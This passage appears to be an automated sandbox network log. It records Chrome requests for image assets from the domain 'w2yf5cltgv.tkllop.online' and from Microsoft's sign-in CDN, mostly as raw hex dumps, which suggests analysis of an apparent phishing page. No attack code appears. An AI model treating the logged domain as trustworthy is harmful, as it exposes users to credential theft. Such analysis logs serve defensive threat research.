?ADuj3U>#KKmuui]0>t/u<^uKFXv-Ef#dY@K>Tyat+-..>\c1&gcNG>\|xObzd'_Oj23WW8[xONNMW_}uv2MQ>[ne,e=u
2024-10-07 18:59:10 UTC	778	IN	Data Raw: 99 a5 13 96 70 38 7c 2f 80 5f 58 d9 67 06 67 60 e6 7b 46 8d 1a f5 4b ab fa b3 34 ba 04 83 c1 c7 89 68 b5 95 7d 66 b0 1f 22 7a c0 4a 53 01 16 47 ac 6e 14 45 79 84 99 57 da d1 77 06 cb 79 3c 18 0c 7e df ea 4e 6d 99 0f c9 b2 7c 3f 80 9f d9 d1 77 06 eb 20 a2 75 b2 2c ff c0 96 be ed e8 b4 9b 70 38 bc 12 c0 80 49 f7 19 dc 81 88 1e ed 0a 00 f6 f4 6f 57 c7 dd 74 4d e8 37 c0 81 df 16 33 c4 84 ce cc df b3 7a 4e d5 17 47 96 b1 c3 e1 f0 2d 00 9e 05 70 b9 13 e3 65 30 a5 4d 08 b1 58 92 a4 3f d8 3d 90 63 ef 47 22 91 c8 97 35 4d db 05 c0 fe 2d c8 19 8c 88 08 21 fe 51 92 a4 3f 39 31 98 63 1f 4f 45 45 45 ef ea ba 3e 09 40 b5 53 63 66 e8 e1 3d 22 9a ea 94 a9 00 87 e7 3d c5 c5 c5 8d ad ad ad 33 00 6c 76 72 dc 34 67 73 73 73 f3 0d 5d 9b 8f 1d c3 b5 54 01 45 51 6e 63 e6 ff 82 Data Ascii: p8\|/_Xgg`{FK4h}f"zJSGnEyWwy<~Nm\|?w u,p8IoWtM73zNG-pe0MX?=cG"5M-!Q?91cOEEE>@Scf="=3lvr4gsss]TEQnc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49769	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	379	OUT	GET /static/media/key_workshcool.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:10 UTC	832	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:10 GMT Content-Type: image/png Content-Length: 3716 Connection: close Content-Disposition: inline; filename="key_workshcool.png" Last-Modified: Sat, 04 Nov 2023 15:28:20 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=COywe0mCKHv9LC0ROoZN9YQ1zliGxtTsdoJhFlbKml2ufqO%2FDxJgQZccHP8Ix0kjcw%2BrC%2BWj5qKzD2djc6yrb57HHSOsJ1sSBtR25O5hrU4BzIsDiZ%2Fm41S7Qn51duXzoO0dplwPqVlrvbU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf020738d5c78d0-EWR
2024-10-07 18:59:10 UTC	537	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d d0 49 44 41 54 78 9c ed dd 7f 70 1c e5 79 07 f0 e7 79 f7 8c 14 24 41 81 da 9e f2 cb 53 c7 09 49 c0 21 a9 6b 87 d4 f2 ed ed e9 14 08 16 4d f9 61 c0 e0 24 d0 e9 b8 d0 34 7f 74 86 0e ed 34 93 94 3f 42 27 43 3b c9 a4 d0 96 66 48 9b 14 02 2d bf ec 41 e0 80 d0 dd ed 59 4e 4d 1a 33 49 68 0d 89 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATxpyy$ASI!kMa$4t4?B'C;fH-AYNM3Ih
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 05 1d 1f 2c d7 75 4b 44 f4 f5 24 bb bc 79 d8 c9 cc 37 55 2a 95 1f a5 5d 48 a7 ea d8 60 0d 0f 0f f7 d5 eb f5 bb 00 dc c2 cc 2d d5 09 60 0f 11 fd 90 99 f7 10 d1 4f 00 bc 41 44 47 88 a8 c1 cc 7d cc dc 27 22 4b 99 f9 bd 00 2e 00 b0 ca 18 73 5a 2b c7 10 91 63 cc 7c bb ef fb f7 10 11 5a f9 ed 3b 41 47 06 cb f3 bc 77 8b c8 93 cc 7c 41 9c ed 01 bc 05 e0 49 66 7e dc 71 9c 4a b9 5c fe 69 2b c7 db b0 61 83 73 e8 d0 a1 df 26 a2 21 00 1b 89 e8 a2 b8 bf 05 f0 c4 29 a7 9c b2 71 6c 6c ec 68 2b c7 ec 76 1d 17 ac 7c 3e bf 9a 88 46 8d 31 4b e6 da 16 c0 3e 22 fa 72 6f 6f ef 03 4f 3f fd f4 ff b6 b1 86 0f 1b 63 36 03 b8 99 99 7b e6 da 5e 44 be db d3 d3 73 c5 d8 d8 d8 6b ed aa 21 eb 3a 2a 58 ae eb 8e 10 d1 43 cc dc d7 6c bb 99 40 7d 81 88 1e f4 7d bf 91 54 3d a5 52 e9 ec 46 a3 Data Ascii: ,uKD$y7U]H`-`OADG}'"K.sZ+c\|Z;AGw\|AIf~qJ\i+as&!)qllh+v\|>F1K>"rooO?c6{^Dsk!:XCl@}}T=RF
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: a6 31 a1 8d e3 82 4f ac 67 4e ce bf b7 d0 fd 24 01 40 e8 df c7 cc 5d 1f 2c 5b e3 58 a1 b7 60 8c 31 5d 3d 73 8b e3 38 51 6f 47 9f 61 b5 90 14 58 09 96 89 68 ae 00 bc 65 e3 f8 29 0a fd fb 00 0c d8 2e c4 36 5b 2d 56 54 97 37 e7 cd e4 2c 8b 0a 10 33 77 fd 24 6e b6 ae 0a a3 4e a8 fb 6d 1c 3f 2d cc 1c 3a 83 8d 88 74 fd 3c a7 b6 5a ac a8 b7 82 7f dd d2 f1 53 21 22 4b c3 96 03 e8 fa b7 76 6c 0d 90 86 b6 58 00 22 df 29 ec 06 cc bc 32 6c b9 31 26 d6 4d f7 2c b3 d5 15 ee 8d 58 d5 ec 35 f5 4c 9b 19 5f 8b 1a 08 8d fa f7 e8 1a b6 ba c2 5d 61 0b 67 ee f4 77 e5 73 e0 c6 98 35 4d 6e bc 3f 6f bb 1e db ac 04 cb 71 9c d0 60 19 63 96 b8 ae 6b f5 b9 74 5b 00 5c 16 b1 ea 50 b9 5c de 6f b5 98 14 58 09 56 10 04 bb a3 9e 48 30 c6 14 6d d4 60 5b 93 60 55 6d d6 91 16 2b c1 f2 7d bf Data Ascii: 1OgN$@],[X`1]=s8QoGaXhe).6[-VT7,3w$nNm?-:t<ZS!"KvlX")2l1&M,X5L_]agws5Mn?oq`ckt[\P\oXVH0m`[`Um+}
2024-10-07 18:59:10 UTC	441	IN	Data Raw: 00 ce 23 a2 73 45 e4 34 63 cc 69 44 44 22 f2 86 31 e6 75 22 7a 1d c0 61 66 7e 01 c0 0f c2 82 74 b2 a8 60 11 d1 6d 00 62 df 2b 34 c6 fc bc 52 a9 84 be b1 d4 4c 96 c2 d5 75 c1 4a 52 93 60 b5 aa 5a ad 56 e7 f5 ed c2 38 57 8b 00 1e 9d 9a 9a da 98 e6 a7 82 33 73 f2 ae 4e a8 54 2a 3b 8c 31 1f 9f e3 ed 9f ab fb fb fb 1f 5c b5 6a d5 22 9b b5 bd 9d 06 2b 83 b2 10 2e 0d 56 46 75 7a b8 34 58 19 16 37 5c 7d 7d 7d 0f d9 0e 97 06 2b e3 e2 84 cb 18 73 95 ed 70 e9 55 61 82 5c d7 fd 4b 66 fe 42 c8 aa 79 5f 15 46 89 73 b5 28 22 8f 1d 3d 7a f4 7a 1b 57 8b da 62 75 89 98 af f3 5f d5 df df ff a0 8d 7a 34 58 5d 24 e6 44 24 57 db a8 45 83 d5 65 e2 9c 73 d9 a0 c1 ea 42 95 4a 65 07 11 fd 61 9a 35 68 b0 ba d7 ff a4 79 f0 8e 7a 86 e7 9d 02 c0 c5 85 42 a1 a5 d9 93 e7 fb 52 6c 5a 34 Data Ascii: #sE4ciDD"1u"zaf~t`mb+4RLuJR`ZV8W3sNT*;1\j"+.VFuz4X7\}}}+spUa\KfBy_Fs("=zzWbu_z4X]$D$WEesBJea5hyzBRlZ4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49767	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	375	OUT	GET /static/media/logo-off-1.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:10 UTC	823	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:10 GMT Content-Type: image/png Content-Length: 330 Connection: close Content-Disposition: inline; filename="logo-off-1.png" Last-Modified: Sat, 04 Nov 2023 15:12:26 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SQDU5qN5ZLrZWRe1lfU2FmD62dAL9en3RsEAZtn1Bo138hcoBHZdX8u1O%2FpmafsNUIfCopeYlBwWbs8%2FCuahbYQ6M1k4pmyfyJYUr6EV3f8W56Te6d3DXsFWiLFT6gY8BDsxmjAtioxLVUI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf020739bfb5e79-EWR
2024-10-07 18:59:10 UTC	330	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 03 00 00 00 f4 e0 91 f9 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 0f 50 4c 54 45 47 70 4c f2 50 22 7f ba 00 00 a4 ef ff b9 00 a0 04 f9 f2 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 01 62 4b 47 44 00 88 05 1d 48 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 00 62 49 44 41 54 78 9c ed ce 49 0d 00 30 10 03 b1 f4 e0 8f b9 52 17 42 be 1e 00 23 67 35 e5 b7 9b 02 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRsBITOPLTEGpLP"tRNS@fbKGDH_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-bIDATxI0RB#g5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49771	104.21.57.143	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:09 UTC	374	OUT	GET /static/media/bg_normal.png HTTP/1.1 Host: w2yf5cltgv.tkllop.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:10 UTC	830	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 18:59:10 GMT Content-Type: image/png Content-Length: 19683 Connection: close Content-Disposition: inline; filename="bg_normal.png" Last-Modified: Sat, 04 Nov 2023 20:23:32 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5ojJlxejQVu0cH0W%2FBVsB1vbWQP44NaUZJ1yk8J7ACz%2B%2FOpD0jOjUdW%2FOlUSCx03HMgFq22AS9hsV8YodyGZU8Xewj3THCkb3y1e9rM7Uo5WyfB6dDuVD%2BYQ798b6OHnYcx4SPLQbkR0eEI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cf02073cb4218f6-EWR
2024-10-07 18:59:10 UTC	539	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 2a 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 01 00 31 01 02 00 07 00 00 00 1a 00 00 00 00 00 00 00 47 6f 6f 67 6c 65 00 00 ff db 00 84 00 03 02 02 08 08 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 05 06 05 05 05 06 06 06 06 06 05 05 06 06 06 06 06 06 06 06 06 06 06 06 0a 06 06 07 08 09 09 09 06 06 0b 0d 0a 08 0d 06 08 09 08 01 03 04 04 06 05 06 07 05 05 07 08 07 07 07 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 ff c0 00 11 08 03 a1 06 74 03 01 22 00 02 11 01 03 11 01 ff c4 00 19 00 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 09 ff c4 00 20 10 01 01 01 01 01 00 Data Ascii: JFIFExifII1Googlet"
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 8a ca f4 b2 b2 03 5a 32 b6 82 8c ac ac 05 42 d4 d6 b0 51 3a 25 05 10 d4 8c ee 28 08 82 28 09 62 46 92 c0 66 ac a5 40 6b 53 a4 00 19 a6 8c 34 33 2a ca 08 62 f4 b2 83 02 fa 40 56 75 53 d2 69 a4 aa c8 cb 2d 27 a6 4b 55 56 89 4d 44 51 34 d0 51 35 40 00 00 00 00 03 40 0d 5e 90 05 e9 75 90 1a 19 34 1a 13 a3 41 40 5a 50 05 ab 57 4e 90 55 6b 55 85 d0 68 4e 97 40 00 05 95 00 6a 55 61 65 06 84 d5 00 00 34 b0 25 00 00 00 05 95 59 25 06 82 50 00 00 01 87 6c 4b 4b 50 00 4b 40 4b 53 44 00 11 a0 d4 b5 05 2d 45 91 a9 01 99 e5 a1 2d 05 4e 93 50 00 00 04 e8 14 4e 93 51 62 f4 9a 02 80 00 01 40 4d 34 14 67 a3 a5 1a 5f 2c 74 68 3a 1a c4 51 96 93 50 05 4d 00 4d 3a 31 01 7a 6a 57 35 82 6b a6 9a c2 8c b5 a3 20 35 a3 26 83 42 4a 74 d0 a1 d1 a3 3a 35 2b 1d 2c f4 23 62 4a a0 96 11 Data Ascii: Z2BQ:%((bFf@kS43*b@VuSi-'KUVMDQ4Q5@@^u4A@ZPWNUkUhN@jUae4%Y%PlKKPK@KSD-E-NPNQb@M4g_,th:QPMM:1zjW5k 5&BJt:5+,#bJ
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 8a 00 00 00 00 08 80 03 20 0a 00 00 00 ce 80 08 00 03 31 a4 04 29 54 19 16 c4 19 0d 00 2a ca 80 2d ab 2b 22 0b d2 51 10 34 d3 05 42 52 d4 28 1d 1d 2e 24 44 17 42 c4 44 e9 7a 31 24 05 d3 59 01 6d 4e 80 44 b5 25 5b 10 45 94 e9 01 15 71 93 41 71 02 54 01 2d 4e 8a 86 22 ea ea 23 21 a9 d2 0a 60 02 43 a5 67 01 7a 59 59 c0 1a 31 85 94 1a c4 c3 a3 a0 30 e4 d3 40 e5 39 6b 40 67 0c 68 06 70 c6 93 01 30 d5 e4 e4 0d 34 e4 e4 14 67 95 05 03 00 00 05 d4 01 ad 56 09 41 b1 25 50 00 02 55 c4 14 5c 09 54 54 59 ec 14 6e 51 88 bd 2a ae 1c 9a a9 02 2c 41 42 c1 65 5c 06 5a 95 31 30 1b 19 d5 e8 14 00 60 19 b5 87 73 16 d6 40 68 01 34 54 04 00 2d 04 b5 01 17 00 19 51 9f 5e 93 d7 a6 62 e6 02 c8 41 a6 a2 b3 a5 a9 6b 35 42 d6 6d 10 34 17 01 0c 6a 00 9c 9c a8 09 c9 ca ea 5a 07 26 7e Data Ascii: 1)T-+"Q4BR(.$DBDz1$YmND%[EqAqT-N"#!`CgzYY10@9k@ghp04gVA%PU\TTYnQ,ABe\Z10`s@h4T-Q^bAk5Bm4jZ&~
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: d4 8d 62 6b 63 32 b5 aa 80 00 00 0c b5 12 7c a8 c0 00 00 34 00 2a 68 03 3a c8 02 00 2e 2e 26 a2 a0 d2 2d a4 45 90 1b d4 82 60 8d 6a ca c8 32 d5 a6 b2 4a 0d a6 b2 b6 fe 41 28 97 e5 40 c5 c4 94 94 45 c5 8c ae 89 54 b5 2d 41 1b 19 e9 01 b4 d4 d4 06 b5 35 00 66 d5 d2 c5 19 66 55 21 20 2c a9 8a 32 24 65 b6 71 44 01 40 00 00 67 59 00 44 00 00 00 00 06 6c 16 d4 19 04 d4 e8 46 91 53 40 c3 09 4b 50 4a 86 88 01 a9 d0 94 b1 96 b5 2c 44 40 34 00 00 00 13 12 c6 b1 39 04 59 4b 13 01 ad 4d 41 34 5d 88 8a 50 a2 e8 51 05 c3 14 41 70 c0 43 4c 30 17 a5 d6 40 68 67 5a d0 00 01 65 40 1a 95 75 80 1a b0 c4 95 a9 41 9c 25 69 00 e8 d0 a0 a2 4a a0 2e a0 0b 3d 34 c2 ca 0d 00 02 ca 82 ad 68 49 54 5a 35 2b 22 c1 b1 9d 6a 50 00 50 00 1c fd 22 fa 46 1d e1 a8 ca d0 40 00 06 7d 56 42 d4 Data Ascii: bkc2\|4*h:..&-E`j2JA(@ET-A5ffU! ,2$eqD@gYDlFS@KPJ,D@49YKMA4]PQApCL0@hgZe@uA%iJ.=4hITZ5+"jPP"F@}VB
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: ce ae 88 a2 28 00 80 a0 34 ce 80 2a 00 00 be 51 a1 34 a0 0c 80 00 00 25 42 ac 83 27 95 00 00 00 00 1a 91 96 a0 9a 88 b8 83 20 a8 b0 00 20 2c 88 d4 88 23 51 22 89 a0 0a c8 02 00 00 00 09 45 04 d6 63 49 14 40 13 41 59 ad 5a 9d 20 ca 5f 4b 63 2a 35 a9 d2 00 5a 00 00 33 ac 00 20 01 80 00 02 62 82 33 51 ab 13 04 41 3a 41 1a d4 e9 91 34 6b 57 58 19 1a d4 b5 0c 06 74 d0 19 17 50 45 34 d0 54 44 b1 4b 19 19 5d 2c 45 d1 ad 35 91 06 ac 65 2a 03 42 4a a0 25 8a 96 02 62 2d 88 0d 74 74 c8 0d 8c 35 d0 28 68 01 28 03 52 8c 80 d8 cc ad 40 05 c4 b0 16 55 64 95 46 83 45 05 d4 10 6a 55 61 a9 45 54 c5 0a 24 8d 48 98 45 58 d6 27 24 ad 04 49 14 00 c5 c4 95 a0 89 89 8d 18 04 05 c5 11 75 00 6a 7a 56 05 83 34 06 5d b0 12 d0 4b 50 06 c0 10 18 6a d4 b1 17 10 54 14 4b 55 3d 02 00 80 Data Ascii: (4Q4%B' ,#Q"EcI@AYZ _Kc5Z3 b3QA:A4kWXtPE4TDK],E5e*BJ%b-tt5(h(R@UdFEjUaET$HEX'$IujzV4]KPjTKU=
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 20 0a 45 00 00 12 a8 9a 33 60 d2 58 88 98 8a 08 61 16 9e 41 4c 00 06 62 da 83 36 b3 6b 5e 99 00 05 00 00 01 84 00 10 00 40 12 d0 18 f4 d5 a8 83 22 c8 8c a0 58 a6 2a 6a 58 8d 58 88 88 2c 28 20 b6 31 68 2f 49 41 91 9a 8d 58 c8 00 00 00 c8 96 28 0c e2 37 58 64 16 54 14 5e 97 59 19 17 10 8d 4a 08 8d e2 60 32 2f 28 0b 2b 4c 2c a0 d0 00 98 b0 01 ad 56 1a 94 14 00 11 51 45 c0 91 71 a5 a8 18 0a be 6a b2 d4 00 00 1a 95 95 80 d0 00 2e 92 22 8d 2a 79 55 00 01 a1 9d 68 0c 00 12 2a 62 80 00 05 81 5b 76 19 00 68 01 15 3d 32 50 80 03 2b 44 aa 94 2b 38 cd 8d 02 b2 4a d2 5f 22 ac a5 4c 27 a0 40 b5 34 14 02 00 09 00 02 00 09 04 b5 29 88 b0 00 20 00 b0 00 00 00 00 10 00 28 00 c8 00 0d 48 48 aa 00 2c 4a 00 a8 00 20 00 00 2e 26 8b 2a 2c 8a 8d 48 d3 32 88 35 a3 32 ac aa 28 0a Data Ascii: E3`XaALb6k^@"XjXX,( 1h/IAX(7XdT^YJ`2/(+L,VQEqj."yUhb[vh=2P+D+8J_"L'@4) (HH,J .&,H252(
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: c0 01 2b 2d 56 52 2d 00 45 00 41 9a 8b 50 00 01 65 10 14 b1 22 da 9a 06 1c 9a 74 14 b0 e5 74 04 9e 4e 56 d3 41 39 4b 1a d4 b4 2a 58 98 a0 27 27 2a 02 61 8a 9a 0a 26 82 28 cf f4 06 86 74 d0 53 59 c5 e4 0d 46 b1 56 09 86 28 a0 02 a5 00 10 00 00 c5 82 18 b2 00 94 00 40 13 41 46 6d 35 62 55 b5 01 50 c5 f2 45 10 00 00 00 58 4a d0 06 89 62 a5 50 c0 85 4c 50 58 80 0c 84 ab a8 00 0a a9 46 bc a4 5d 19 6a d6 74 10 16 44 34 1a 2d 67 40 5d 35 34 02 d5 f3 12 34 00 54 d0 53 53 50 1a 5d 48 0c ac 69 98 b6 88 96 9a 54 01 62 2c 02 92 23 40 95 69 14 19 2a a4 19 41 49 19 10 6a a0 20 b8 40 58 14 90 16 d2 03 3a 00 20 32 d2 55 18 f4 8d 54 91 04 00 00 00 00 40 28 88 0a ce b2 8a c2 f4 90 0f 51 31 ab f0 88 32 2d 0d 08 92 2d 10 64 54 bf 60 c8 d5 9f 86 41 2a 58 d2 58 8c b2 2f 28 ca Data Ascii: +-VR-EAPe"ttNVA9KX''a&(tSYFV(@AFm5bUPEXJbPLPXF]jtD4-g@]544TSSP]HiTb,#@iAIj @X: 2UT@(Q12--dT`AXX/(
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 58 95 74 1a d1 23 58 08 2e 28 00 00 00 00 01 1b 49 00 14 04 a0 02 80 02 c8 a0 00 02 50 00 a0 02 50 04 00 19 40 05 00 10 55 89 22 c0 2a 90 00 00 00 00 00 00 4d 4d 00 44 00 00 00 00 00 00 0d 13 19 d5 a2 48 2a 05 29 e5 28 20 b8 8c a0 02 d0 01 00 04 00 00 00 46 6c 1a ac b2 0c 56 d2 c0 64 01 40 19 d0 01 12 00 0c 88 a0 33 c1 cb 5a 8c 89 62 63 56 25 80 98 62 e2 20 60 00 00 06 18 00 9c 9c a8 09 89 8d 35 20 31 22 b6 9c 83 23 5c a6 02 00 0b 22 e1 22 82 72 72 a0 33 84 8d 2c a0 82 f2 98 28 00 41 af 2c ac 08 d0 0a 40 05 20 60 d4 51 91 aa ce 0a 12 98 48 2b 40 00 00 2c 69 3c aa 82 72 a2 89 23 2d 8a 39 18 56 9e b8 f5 32 96 37 82 c1 cb 06 d3 94 83 23 58 ab 06 2c 4a dd 64 8a ce ae aa 62 42 a8 04 5a 96 b2 b5 08 94 01 16 80 09 44 aa 96 85 40 02 80 05 00 0a 00 a8 02 50 35 2d Data Ascii: Xt#X.(IPP@U"MMDH)( FlVd@3ZbcV%b `5 1"#\""rr3,(A,@ `QH+@,i<r#-9V27#X,JdbBZD@P5-
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 83 49 ca d4 88 45 91 a9 e5 69 10 5e 4c 11 00 0a 02 c1 a5 8a 00 25 8a 28 cd 8b 22 ac 85 48 83 46 2d 23 23 58 cd 82 8d 44 8d 28 00 00 00 e2 03 a6 fd 84 f4 a5 06 40 10 02 c1 58 0c 11 01 64 5c 11 24 66 b6 c8 27 26 28 a8 9c 92 28 06 33 56 d6 40 00 00 00 04 be 80 a8 9a 9a 0d 0c 69 a0 da 5a ce 80 bd 1d 20 41 75 34 35 60 09 d2 69 05 e9 35 02 0b a8 0a 94 00 2a 98 69 a2 53 90 5c 0a 9a aa 60 26 29 80 82 ea 00 d4 a6 b2 03 69 a8 b0 14 94 30 14 91 60 00 00 00 00 00 b8 b1 25 34 4a d0 92 ab 31 40 08 00 10 17 50 11 bf 34 b7 ff 00 58 50 ad 4a d4 66 46 85 00 00 01 34 00 40 00 00 45 01 63 2a a4 22 80 00 00 00 00 00 02 e0 45 c6 10 80 a2 a2 80 00 00 03 20 00 09 01 10 c1 46 54 00 00 00 00 04 a5 a9 62 68 8d 48 92 34 c8 96 32 b5 30 00 00 01 34 00 41 3d 54 c3 17 10 42 55 a9 40 a0 Data Ascii: IEi^L%("HF-##XD(@Xd\$f'&((3V@iZ Au45`i5iS\`&)i0`%4J1@P4XPJfF4@Ec"E FTbhH4204A=TBU@
2024-10-07 18:59:10 UTC	1369	IN	Data Raw: 96 9e 52 d0 6a 09 15 00 04 00 58 04 82 e9 20 12 28 00 02 68 00 cb 40 34 09 29 12 35 44 4b 48 62 32 8b 2a d4 82 28 d2 28 a0 00 00 00 0c e8 00 20 00 a0 0c 80 08 00 00 00 a1 41 95 16 20 84 31 6d 48 b2 b2 24 6b 52 40 14 49 4c 02 29 04 d1 16 89 23 2a 45 25 28 12 a5 54 b4 10 0c 60 02 45 04 0c 00 01 90 00 06 6a 98 83 23 62 ac 60 6b 0c 08 c8 d6 0c e9 19 1a c3 10 8c 8d 62 72 11 05 e4 e4 22 00 10 00 68 00 45 c3 16 28 46 7f 88 da 51 23 22 d8 82 00 0a 2c 46 96 91 51 51 11 9a 2d a8 00 0b 81 23 52 24 8d 34 00 00 00 04 08 0d 62 55 16 8c e0 d2 58 a2 12 04 80 d0 00 00 a0 02 d1 c6 b2 db 0e b3 00 00 9e 91 aa c8 05 00 4f 4c e3 55 28 09 22 e2 ac 4a 98 cc 74 61 4a 00 a8 01 41 9a 80 00 00 27 a3 a6 2d 06 92 d6 45 80 02 c0 ac 36 cd 8a 20 02 50 01 90 0b 40 b5 9b 40 89 40 16 25 00 Data Ascii: RjX (h@4)5DKHb2(( A 1mH$kR@IL)#E%(T`Ej#b`kbr"hE(FQ#",FQQ-#R$4bUXOLU("JtaJA'-E6 P@@@%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.16	49760	152.199.21.175	443	616	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 18:59:10 UTC	416	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 18:59:10 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 17053172 Cache-Control: public, max-age=31536000 Content-MD5: TjUQkZ0p0Y7rbj6LJofS9Q== Content-Type: image/svg+xml Date: Mon, 07 Oct 2024 18:59:10 GMT Etag: 0x8D79A1B9B05915D Last-Modified: Thu, 16 Jan 2020 00:32:45 GMT Server: ECAcc (lhc/7912) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 17a39001-701e-0084-32d1-7da17b000000 x-ms-version: 2009-09-19 